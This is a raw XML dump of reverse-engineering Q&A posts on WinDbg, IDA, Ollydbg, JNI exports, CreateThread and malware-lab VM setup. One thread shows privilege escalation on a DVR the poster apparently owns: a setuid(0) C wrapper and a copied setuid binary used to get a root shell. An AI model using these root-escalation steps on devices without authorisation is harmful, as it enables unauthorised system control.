5&#xA;; Moving two PUSHes along with CALL solves the problem&#xA;JMP _somewhere_ ; Takes 5 bytes, opcode E9 disp32&#xA;PUSH Game5_4.... ; back is here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, in the newly coded part (&lt;code&gt;_somewhere_&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH EDI&#xA;PUSH EAX&#xA;CALL DWORD PTR DS:[&amp;lt;&amp;amp;GDI32.CreateFontA&amp;gt;]&#xA;JMP back&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is changing &lt;code&gt;CP_ACP&lt;/code&gt; to &lt;code&gt;CP_UTF8&lt;/code&gt; gonna work ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know, to be honest. Depends a lot on other code. Making the program support something it was not designed for is a big ordeal. It might work, it might not, it might end up being buggy.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastEditorUserId="53" LastEditDate="2014-07-15T19:54:55.603" LastActivityDate="2014-07-15T19:54:55.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5866" PostTypeId="2" ParentId="5863" CreationDate="2014-07-15T17:58:44.147" Score="1" Body="&lt;p&gt;You shouldn't include &lt;code&gt;stdio.h&lt;/code&gt; in your plugin; just use the functions in &lt;code&gt;pro.h&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-15T17:58:44.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5867" PostTypeId="1" CreationDate="2014-07-16T00:44:29.107" Score="1" ViewCount="638" Body="&lt;p&gt;I am close to having root on my DVR device running busybox. I figured out one of the user login/passwords and am able to telnet in, but that's it. I have a drive that is attached which automatically mounts, which I can plug into my PC to add/subtract files.  I made a copy of the bash and busybox binaries (including a few others), and gave them &lt;code&gt;u+s&lt;/code&gt;, hoping setuid root would give me some root privileges.  Unfortunately that did not work.  Running &lt;code&gt;bash&lt;/code&gt; (&lt;code&gt;-rwsr-xr-x&lt;/code&gt;), &lt;code&gt;id&lt;/code&gt; still shows up as just user.  For some reason it doesn't seem to honor the setuid bit for bash or busybox (or a few others) to give me root privs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I had an idea, which brings me to my question: maybe I could compile a small C program, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;sys/types.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;   setuid( 0 );&#xA;   system( &quot;/tmp/rootscript.sh&quot; );&#xA;&#xA;   return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which, maybe, would allow me to run a script as root.  Unfortunately, after a few days of trying to compile various versions of &lt;code&gt;gcc-mips&lt;/code&gt; on various systems, I've not been able to do so.  Which leads me to ask if someone who already has the tools built would mind compiling the above code for me. I realize it's an odd request, but I guess it's come to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some potentially helpful info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bash-3.00$ cat cpuinfo &#xA;system type             : Viper&#xA;processor               : 0&#xA;cpu model               : MIPS 74Kc V4.12  FPU V0.0&#xA;BogoMIPS                : 324.40&#xA;wait instruction        : yes&#xA;microsecond timers      : yes&#xA;tlb_entries             : 32&#xA;extra interrupt vector  : yes&#xA;hardware watchpoint     : yes, count: 4, address/irw mask: [0x0000, 0x0000, 0x0000, 0x0000]&#xA;ASEs implemented        : mips16 dsp&#xA;shadow register sets    : 2&#xA;core                    : 0&#xA;VCED exceptions         : not available&#xA;VCEI exceptions         : not available&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file /tmp/bash &#xA;/tmp/bash: setuid ELF 32-bit LSB  executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), for GNU/Linux 2.6.12, not stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or advice from anyone?  Hopefully this counts enough as a &quot;reverse engineering&quot; post!&lt;/p&gt;&#xA;" OwnerUserId="8057" LastEditorUserId="53" LastEditDate="2014-07-16T07:28:28.837" LastActivityDate="2014-07-17T00:32:31.407" Title="Can someone compile a program for me with gcc-mips?" Tags="|compilers|mips|" AnswerCount="2" CommentCount="2" ClosedDate="2014-07-17T07:43:05.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="5868" PostTypeId="1" AcceptedAnswerId="5871" CreationDate="2014-07-16T01:21:22.707" Score="5" ViewCount="8373" Body="&lt;p&gt;It seems that Windows 8 broke Ollydbg as several &lt;code&gt;ntdll&lt;/code&gt; functions keep throwing exception &lt;code&gt;0xC0000008&lt;/code&gt; and crashing my debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now using Windbg.  But, I am unable to view &lt;code&gt;FS&lt;/code&gt; (specifically &lt;code&gt;FS:[0]&lt;/code&gt;).  How can I get a dump of &lt;code&gt;FS&lt;/code&gt; via Windbg? I've tried googling to no avail.  I am specifically interested in SEH, but all I can find is dumping TEB or PEB.&lt;/p&gt;&#xA;" OwnerUserId="8076" LastEditorUserId="53" LastEditDate="2014-07-16T07:23:22.013" LastActivityDate="2014-07-16T13:15:44.623" Title="How can I view FS:[0] with windbg?" Tags="|x86|windbg|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5869" PostTypeId="2" ParentId="5868" CreationDate="2014-07-16T04:52:01.200" Score="0" Body="&lt;p&gt;If your intersted in viewing SEH, consider using &lt;a href=&quot;http://pedramamini.com/PaiMei/docs/PyDbg/public/pydbg.pydbg.pydbg-class.html#seh_unwind&quot; rel=&quot;nofollow&quot;&gt;pydbg SEH unwinding&lt;/a&gt; for that kind of purposes.&lt;/p&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="4609" LastEditDate="2014-07-16T04:59:19.850" LastActivityDate="2014-07-16T04:59:19.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5870" PostTypeId="2" ParentId="5867" CreationDate="2014-07-16T06:47:59.693" Score="1" Body="&lt;p&gt;I'm afraid your post won't count as reverse engineering :-( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, don't expect this to work; your setuid(0) won't work unless the uid is 0 in the first place, in which case you had root access without the extra setuid(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the mount options on your drive - is the nosuid option set? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you change that setting (hint: mount -o remount)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You did format the drive with an ext[234] filesystem, didn't you? If it's a [V]fat fs, there's no support for unix attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly does &lt;code&gt;id&lt;/code&gt; say? Anything about an euid? Like in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cp /usr/bin/id /usr/bin/suid&#xA;# chmod u+s /usr/bin/suid&#xA;# ls -l /usr/bin/suid&#xA;-rwsr-xr-x 1 root root 25152 Jul 16 08:42 /usr/bin/suid&#xA;&#xA;$ /usr/bin/id&#xA;uid=1000(gbl) gid=100(users) groups=100(users)&#xA;$ /usr/bin/suid&#xA;uid=1000(gbl) gid=100(users) euid=0(root) groups=100(users)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see, the special suid-version of id sets your effective uid, not the real one; but if they are different, id should report about it. If it doesn't, the problem is probably your mount options; if it does, chances are your C program would actually work, but in that case, it shouldn't even be neccesary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a compiler that creates mips binaries, you might also find the &lt;a href=&quot;http://www.linux-mips.org/wiki/Toolchains&quot; rel=&quot;nofollow&quot;&gt;Mips-Toolchains&lt;/a&gt; page helpful.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-07-16T06:47:59.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5871" PostTypeId="2" ParentId="5868" CreationDate="2014-07-16T07:43:32.540" Score="7" Body="&lt;p&gt;SEH chain can be viewed in WinDbg by issuing &lt;code&gt;!exchain&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; !exchain    # display the SEH chain&#xA;0012ffb0: wireshark!_except_handler4+0 (00522555)&#xA;0012ffe0: kernel32!_except_handler3+0 (7c839ac0)&#xA;  CRT scope  0, filter: kernel32!BaseProcessStart+29 (7c843882)&#xA;                func:   kernel32!BaseProcessStart+3a (7c843898)&#xA;Invalid exception stack at ffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FS:[0]&lt;/code&gt; is the pointer to the start of &lt;strong&gt;SEH chain&lt;/strong&gt;. You can walk through the output produced by &lt;code&gt;!exchain&lt;/code&gt; to find &lt;code&gt;FS:[0]&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="4671" LastEditorUserId="4671" LastEditDate="2014-07-16T08:55:27.453" LastActivityDate="2014-07-16T08:55:27.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5872" PostTypeId="2" ParentId="5868" CreationDate="2014-07-16T13:15:44.623" Score="16" Body="&lt;p&gt;If you're looking to find the base address of a segment based on its selector, you can use &lt;code&gt;dg&lt;/code&gt;&lt;em&gt;&lt;code&gt;&amp;lt;selector&amp;gt;&lt;/code&gt;&lt;/em&gt;; in this context you would use &lt;code&gt;dg fs&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dg fs&#xA;                                  P Si Gr Pr Lo&#xA;Sel    Base     Limit     Type    l ze an es ng Flags&#xA;---- -------- -------- ---------- - -- -- -- -- --------&#xA;003B 7ffdf000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see above that the &lt;code&gt;Base&lt;/code&gt; of &lt;code&gt;fs&lt;/code&gt; is &lt;code&gt;7ffdf000&lt;/code&gt;, so &lt;code&gt;FS:[0] == [7ffdf000]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; db 7ffdf000&#xA;7ffdf000  1c f7 1d 00 00 00 1e 00-00 f0 1c 00 00 00 00 00  ................&#xA;7ffdf010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00  ................&#xA;7ffdf020  0c 13 00 00 bc 0f 00 00-00 00 00 00 2c f0 fd 7f  ............,...&#xA;7ffdf030  00 a0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;7ffdf040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;7ffdf050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;7ffdf060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;7ffdf070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-16T13:15:44.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5873" PostTypeId="1" CreationDate="2014-07-16T15:15:51.783" Score="1" ViewCount="1892" Body="&lt;p&gt;Here are my &lt;code&gt;.so&lt;/code&gt; files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;a href=&quot;https://www.sendspace.com/file/obo19p&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;libJlcVideoEncoder.so&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.sendspace.com/file/l04i9y&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;java_so_change.exe&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Below are export functions inside &lt;code&gt;.so&lt;/code&gt; files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Java_com_jlc_BubbleChat_libJlcVideoEncoder_JNIJlcInit&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Java_com_jlc_BubbleChat_libJlcVideoEncoder_JNIJlcVideoEncoder&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;Java project&lt;/code&gt;, I define the function like this and call (using JNI call):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package com.jlc.BubbleChat;&#xA;&#xA;public class libJlcVideoEncoder&#xA;{&#xA;   static {&#xA;      System.loadLibrary(&quot;JlcVideoEncoder&quot;);&#xA;   }&#xA;   private native int JNIJlcInit();&#xA;   private native int JNIJlcVideoEncoder(byte[] camdata,byte[] stream,int qp);&#xA;&#xA;   public int JlcInit() {&#xA;       return JNIJlcInis();&#xA;   }    &#xA;   public int JlcVideoEncoder(byte[] camdata,byte[] stream,int qp) {&#xA;       return JNIJlcVideoEncoder(camdata, stream, qp);&#xA;   }    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I want to change the export function:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Java_com_jlc_BubbleChat_libJlcVideoEncoder_JNIJlcInit&lt;/code&gt; to &lt;code&gt;myInitFunc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Java_com_jlc_BubbleChat_libJlcVideoEncoder_JNIJlcVideoEncoder&lt;/code&gt; to &lt;code&gt;myEncoderFunc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, I opened any so file and edited the function name in &lt;code&gt;winhex&lt;/code&gt;.&#xA;But it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, there are no other files that import this so file. the problem is that after changing the function name, &lt;code&gt;loadlibrary&lt;/code&gt; is success but can't find address of export function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing export function name does not work. Do you know the reason ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, somewhere there is checksum check when android load so files ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want  decompile or modifying. My final aim is to call the original function with different name.&lt;/p&gt;&#xA;" OwnerUserId="8081" LastEditorUserId="53" LastEditDate="2014-07-16T15:43:23.167" LastActivityDate="2014-07-16T15:43:23.167" Title="How to change the export function name of android so file (ELF format)" Tags="|android|elf|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5874" PostTypeId="1" AcceptedAnswerId="5875" CreationDate="2014-07-16T16:41:25.980" Score="1" ViewCount="2318" Body="&lt;p&gt;I'm debugging a process inside a VM via Olly, and occasionally exporting a section dump when needed and loading it on the host system for better analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm looking at a dump of a certain code section that's referencing function calls in another, dynamically allocated, section. In the debugger I can of course see all the function calls, but in IDA all I have are calls to immediate addresses that don't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to dump the referenced section and somehow bluntly attach it to the same .idb so IDA would be able to resolve the references for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find anything about it on google or when digging around the menus.&#xA;Did I miss something or is this impossible or requires an addon? It's also possible for me to write an idapython script that defines and copies the section over, but I don't see any relevant API calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debugging via IDA and taking a full memory snapshot is a solution I'd like to not have to use; I enjoy using olly.&lt;/p&gt;&#xA;" OwnerUserId="6971" LastActivityDate="2014-07-16T17:21:52.960" Title="Adding another section to an idb file" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5875" PostTypeId="2" ParentId="5874" CreationDate="2014-07-16T17:21:52.960" Score="5" Body="&lt;p&gt;After loading the main dump into IDA, in IDA's menubar go to &lt;code&gt;File&lt;/code&gt; → &lt;code&gt;Load file&lt;/code&gt; → &lt;code&gt;Additional binary file...&lt;/code&gt;, select the dump of the dynamically allocated memory, and specify the dynamic allocation address as the &lt;code&gt;Loading segment&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-16T17:21:52.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5876" PostTypeId="1" AcceptedAnswerId="5877" CreationDate="2014-07-16T18:20:49.473" Score="0" ViewCount="125" Body="&lt;p&gt;I'm running two virtual machines with Windows 7 (host OS Mac) using Virtualbox which I'd like to use to analyze malware. I have configured Visual Studio debugging and WinDBG, as well as other tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to save a backup of the victim machine to quickly recover from damage caused by malware? Should I make a .zip of the entire Virtualbox folder and store it elsewhere?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Additional question: is it safe to run malware on a virtual machine with bridged adapter network settings for VS remote debugging?&lt;/p&gt;&#xA;" OwnerUserId="8053" LastActivityDate="2014-07-16T19:18:14.120" Title="Setting up virtual machine to recover from malware" Tags="|debugging|virtual-machines|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5877" PostTypeId="2" ParentId="5876" CreationDate="2014-07-16T19:18:14.120" Score="1" Body="&lt;p&gt;To save and restore your VM's state, use snapshots: &lt;a href=&quot;http://www.virtualbox.org/manual/ch01.html#snapshots&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.virtualbox.org/manual/ch01.html#snapshots&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With snapshots, you can save a particular state of a virtual machine&#xA;  for later use. At any later time, you can revert to that state, even&#xA;  though you may have changed the VM considerably since then. A snapshot&#xA;  of a virtual machine is thus similar to a machine in &quot;saved&quot; state, as&#xA;  described above, but there can be many of them, and these saved states&#xA;  are preserved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k2Y4g.png&quot; alt=&quot;VirtualBox Snapshots&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please create a separate Stack Exchange question for your second question.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-16T19:18:14.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5878" PostTypeId="1" CreationDate="2014-07-16T20:23:34.227" Score="10" ViewCount="12596" Body="&lt;p&gt;Are there open source projects that completely restore the inner circuitry of modern Intel CPUs? Is it simply possible, or are circuits closed and/or protected by proprietary technology?&lt;/p&gt;&#xA;" OwnerUserId="8083" LastEditorUserId="8053" LastEditDate="2014-08-06T11:47:27.593" LastActivityDate="2019-10-05T06:38:42.520" Title="Reverse engineering modern Intel CPUs" Tags="|hardware|integrated-circuit|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5879" PostTypeId="2" ParentId="5878" CreationDate="2014-07-16T22:52:16.627" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://opencores.org/&quot; rel=&quot;nofollow&quot;&gt;OpenCores&lt;/a&gt; is a project aiming at rebuilding the design of usual integrated-circuits with Open Source licenses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the sub-project is dedicated to rebuild the i386 architecture, it is called &lt;a href=&quot;http://opencores.org/project,zet86&quot; rel=&quot;nofollow&quot;&gt;Zet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how they rebuild the instruction set, there must be a bit of reverse-engineering. But, the specifications given by Intel should be enough (of course, this design will be far from being as efficient as Intel CPUs. Intel did a lot of progress during all these years, it would be difficult to get the same result at the end).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I don't know if this question is really related to reverse-engineering (yet, I don't know where you should have asked it, so...).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-07-16T22:52:16.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5880" PostTypeId="1" AcceptedAnswerId="5895" CreationDate="2014-07-16T23:03:35.030" Score="-1" ViewCount="2076" Body="&lt;p&gt;I have the following assembly code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.....&#xA;lea eax, [ebp+ThreadID]&#xA;push eax              ; lpThreadID&#xA;push 0                ; dwCreationFlags&#xA;push 0                ; lpParameter&#xA;push offset StartAddress  ; lpStartAddress&#xA;push 0                ; dwStackSize&#xA;call CreateThread&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I try to translate it in a C-like pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD* LPWORD eax_lpThreadID = NULL;&#xA;DWORD dwCreationFlags;&#xA;void *LPVOID lpParameter;&#xA;SIZE_T dwStackSize;&#xA;LPSECURITY ATTRIBUTES lpThreadAttributes;&#xA;&#xA;HANDLE handle_to_new_Thread = CreateThread(lpThreadAttributes, dwStackSize, ..., lpParameter, dwCreationFlags, eax_lpThreadID );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I do not include the 3rd parameter, namely the parameter &lt;code&gt;LPTHREAD_START_ROUTINE lpStartAddress&lt;/code&gt;, because I have problems understanding it.&#xA;In &lt;a href=&quot;https://stackoverflow.com/questions/19472837/what-is-a-lpthread-start-routine&quot;&gt;this SO thread&lt;/a&gt; i have read that a &lt;code&gt;LPTHREAD_START_ROUTINE&lt;/code&gt; is a function pointer defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef DWORD (__stdcall *LPTHREAD_START_ROUTINE) (&#xA;  [in] LPVOID lpThreadParameter&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would mean that the 4th parameter &lt;code&gt;lpThreadParameter&lt;/code&gt; is a parameter of this. &#xA;But how can I integrate that information into my pseudo C code program ?&#xA;I am little bit confused about that. Can someone explain it to me? The other attributes/parameters are clear.... &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-07-18T19:58:00.173" Title="How to understand the &quot;lpStartAddress&quot;-Parameter of the function CreateThread" Tags="|assembly|c|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5881" PostTypeId="1" AcceptedAnswerId="6038" CreationDate="2014-07-16T23:40:44.830" Score="3" ViewCount="406" Body="&lt;p&gt;I have been looking all around for an answer to this, so I am hoping I find an answer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working in Ollydbg 2.1 and every time I patch an exe it makes a foo.bak (backup) which is ok. However, I must reload the program to make more patches and often I am making multiple patches in multiple stubs at a time. Olly wont allow me to patch multiple times unless I rename the file cause there is a .bak already there and it wont over write that. I keep all my own backups so I am wondering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 Is there a way to have olly not make backups?&lt;br&gt;&#xA;2 Is there a way to have olly allow forover writing the .bak files or some way to have multiple saves in a session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2014-08-08T00:20:06.573" Title="Ollydbg 2.1 Allow for multiple saves or not make backups" Tags="|ollydbg|patching|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5882" PostTypeId="2" ParentId="5867" CreationDate="2014-07-17T00:32:31.407" Score="0" Body="&lt;p&gt;Thanks for the thoughts guys. Here's what I came up with in case anyone needs this in the future.  I didn't end up compiling my own program (as above), but I got close. I downloaded a large virtual machine file which already had the tools compiled (but it had errors with my program calling setuid). So I went another route: I grabbed the pre-compiled mips binary from &lt;code&gt;https://packages.debian.org/sid/super&lt;/code&gt; and copied the binary file &lt;code&gt;setuid&lt;/code&gt; onto the box with u+s set, root as owner. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ id&#xA;uid=1001(ftpuser) gid=1001(ftpuser) groups=1001(ftpuser)&#xA;$ ./setuid 0 id&#xA;uid=0(root) gid=1001(ftpuser) groups=1001(ftpuser)&#xA;$ ./setuid 0 bash&#xA;bash-3.00# id&#xA;uid=0(root) gid=1001(ftpuser) groups=1001(ftpuser)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As they say on TV.. Bingo, bango, bongo.&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2014-07-17T00:32:31.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5883" PostTypeId="2" ParentId="5880" CreationDate="2014-07-17T04:54:35.457" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;lpStartAddress&lt;/strong&gt; is a pointer to the application-defined function to be&#xA;  executed by the thread. This pointer represents the starting address&#xA;  of the thread.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically &lt;code&gt;lpStartAddress&lt;/code&gt; is the entry point of the thread. This is a callback function. It will be called when the thread is created and executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More on this,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The CreateThread function creates a new thread for a process. The&#xA;  creating thread must specify the starting address of the code that the&#xA;  new thread is to execute. Typically, the starting address is the name&#xA;  of a function defined in the program code (for more information, see&#xA;  ThreadProc). This function takes a single parameter and returns a&#xA;  DWORD value. A process can have multiple threads simultaneously&#xA;  executing the same function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;em&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&lt;/em&gt; page, for an example on creating threads.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-07-17T04:54:35.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5884" PostTypeId="2" ParentId="5880" CreationDate="2014-07-17T06:29:18.400" Score="2" Body="&lt;pre&gt;&lt;code&gt;lea eax, [ebp+ThreadID]&#xA;push eax              ; lpThreadID&#xA;push 0                ; dwCreationFlags&#xA;push 0                ; lpParameter&#xA;push offset StartAddress  ; lpStartAddress&#xA;push 0                ; dwStackSize&#xA;call CreateThread&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the first argument is pushed last so you have got it all reversed up also it seems during copy paste you missed one argument lpSecurtiyAttributes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cpp &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Handle hThread = CreateThread(&amp;amp;lpThreadId,NULL,NULL,&amp;amp;lpStartAddress,NULL,NULL); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-07-17T06:29:18.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5885" PostTypeId="2" ParentId="5851" CreationDate="2014-07-17T16:59:47.533" Score="4" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Admirably, after just a few days after I sent in a request to include a feature to send input to command line applications, the sole developer of Hopper disassembler has included the feature. Notice the new 'application output' tab in the new Hopper disassembler 3.3.3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ltS7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8053" LastActivityDate="2014-07-17T16:59:47.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5886" PostTypeId="2" ParentId="5838" CreationDate="2014-07-17T20:36:41.780" Score="1" Body="&lt;p&gt;If this is for Linux then take a look at &lt;a href=&quot;http://linux.die.net/man/2/arch_prctl&quot; rel=&quot;nofollow&quot;&gt;http://linux.die.net/man/2/arch_prctl&lt;/a&gt;, specifically at the &lt;code&gt;ARCH_SET_FS&lt;/code&gt; option.&lt;/p&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2014-07-17T20:36:41.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
